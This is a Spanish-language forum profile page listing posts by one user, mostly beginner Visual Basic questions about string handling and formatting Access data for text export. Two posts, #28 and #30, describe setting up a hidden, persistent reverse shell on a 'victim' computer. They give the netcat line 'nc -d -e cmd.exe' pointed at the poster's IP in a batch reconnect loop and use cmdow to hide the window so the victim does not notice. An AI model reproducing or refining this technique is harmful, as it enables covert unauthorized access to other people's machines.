Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - _LooSeR_

#21
Ah ok, ya decia yo :P Gracias por la aclaración. Esque busque por internet mil formas, y la que encontré fue esa. Y como tu dices ahora que me doy cuenta ponia que era en .net

Imagino que sera vb6, es un código dentro de access, y me señala vb6.3

Entonces para poder ver los caracteres con la funcion mid(a,b,c) (creo que es asi por lo que he mirado)
Siendo a la cadena, b el caracter donde comienzas a extraer la subcadena, y c los carácteres a coger a partir de b no?

Es un bucle donde trabaja esa sentencia, con lo cual para seleccionar un carácter tendria que poner:
Código (vb) [Seleccionar]
ControlDecimal = ControlDecimal & Mid(chain, i, i)

Eso sería correcto? Si no? Porque le añadimos una cadena a otra cadena, aunque en este caso sea una substring de 1 carácter.

Muchas gracias por la aclaración E0N ;)
#22
Programación Visual Basic / Duda con cadenas
31 Marzo 2008, 17:27 PM
Hola, explico brevemente el problema. Dentro de un código que manejo con cadenas de carácteres. Busqué como poder indexar los carácteres de una cadena, ya que en otros lenguajes se podía y encontré que era mediante la función Chars

La cosa es que quiero poder añadirle a una cadena un carácter, y nose si me da fallo al mezclar el tipo string con el tipo char, o porque :S

El caso es que al hacer esta sentencia:

ControlDecimal = ControlDecimal & chain.Chars(i)

Siendo ControlDecimal y chain dos strings.

Quiero añadirle a la cadena ControlDecimal el carácter "i" de la cadena chain.

Me salta un error señalándome "chain" como calificador no válido.

Que debo hacer?? Muchas gracias ;)
#23
Hola!

He de trabajar con unos datos de una tabla Access, y he de exportarlos manualmente, mediante un código que estoy haciendo a un fichero de texto.

Mi duda es la siguiente, cada tipo de campo, al escribirlo en el fichero de texto, ha de tener una dimensión fija, por ejemplo, un número real representado en carácteres, deberá tener este formato   000XXX,XX

Usando la funcion "CStr" consigo pasar el dato a string, pero como puedo conseguir esos ceros a la izqueirda?

He pensado hacerlo manualmente, dejando una variable string de longitud variable, y cada dato que coja, medirlo y mirar los ceros que le faltan. Escribirlos en el fichero y después escribir la String.

Otra forma que he pensado es hacer una string de longitud fija, la que me diga cada campo, pero de este modo, he probado haciendo una pequeña aplicación para ver el funcionamiento, y al convertir el número en string, deja un espacio a la izquierda, y cuando termina el número (en carácteres) rellena el final con los espacios consiguientes que le faltaban. De modo que esto no me vale.

Mi pregunta es si existe alguna forma sencilla, o lo hago por el primer método que he explicado antes.

Un saludo y muchas gracias! Espero que me hayáis entendido
#24
Si bueno ya lo sabía... lo decia porque no era necesario poner una variable. Y el nombre ruta tampoco describía muy bien la función de la variable ;)
#25
Para que usar una variable? Y llamarla Ruta?  :huh:
#26
Muy bueno octalh ;) Muchas gracias por el aporte en cuanto tenga tiempo a mirarlo!

Saludos
#27
Gracias por la idea Juancho77, creo que la implementaré asi voy cogiendo algo de manejo en vb.

Un saludo!
#28
La cosa es que es la víctima la que se conecta a mí, es una conexión inversa.

En mi ordenador quedo a la escucha, con el -L que nombras. Pero cuando se cierra la primera conexión que la víctima realiza conmigo, no vuelve a conectarme hasta que no vuelva a ejecutar esa orden.

Saludos!
#29
Ok, duda resuelta muchas gracias ;)

Interesante lo que proponias NightZpy, pero eso ya supera mis conocimientos de Vb :P
#30
En la instrucción faltaría mi IP (en vez del -p) antes del puerto, me confundí al escribirlo.

El bucle es para hacer que siempre que acabe la conexión vuelva a intentar conectar conmigo. Pero me temo que en vb seria complicado, lo explique en batch, porque el bucle si funciona ahi, hasta que esta linea:
nc -d -e cmd.exe MiIp 25554
no termine, no salta a la siguiente instruccion en el bucle del .bat, porque esa linea termina cuando la conexión del netcat ha sido finalizada (en vb si ejecutara ese programa externo, lo ejecutaria y saltaria a la siguiente linea de codigo sin que la ejecución del netcat hubiera terminado, realizando un bucle infinito sin esperar la desconexion del netcat).

El motivo por el que no usé un loop, un while o un until fue porque no queria que ese bucle terminase, pero si que se detuviera.

De todos modos, al final encontré una solucion que es un comando para el cmd, el "cmdow" que lo descargué de internet. Y colocandoselo a la victima, y añadiendo en el codigo del bucle batch  "cmdow @ /hid" , esconde la ventana donde se ejecuta el .bat

De modo que al final conseguí hacerlo sin visual basic, la unica pega es que debemos colocar el cmdow.exe en el pc de la victima, pero ahora ya puedo estar conectado a ella siempre que quiera, ya que ella siempre está intentando conectarse conmigo, y el bucle en batch lo realiza bastante lento, por lo cual no lo percibirá.

Muchas gracias, aunque me sigue interesando el tema en Vb.

Una duda Juancho77, en vb si ejecutara en vez de ese codigo, un archivo .bat
Y le pusiera vbHide despues, ocultaría la ventana de ejecución del archivo.bat?

Lo digo porque esto tambíen me hubiera servido para lanzar desde una aplicacion en vb el bucle hecho en batch. Sin necesidad de colocarle el "cmdow" a la victima.

Saludos!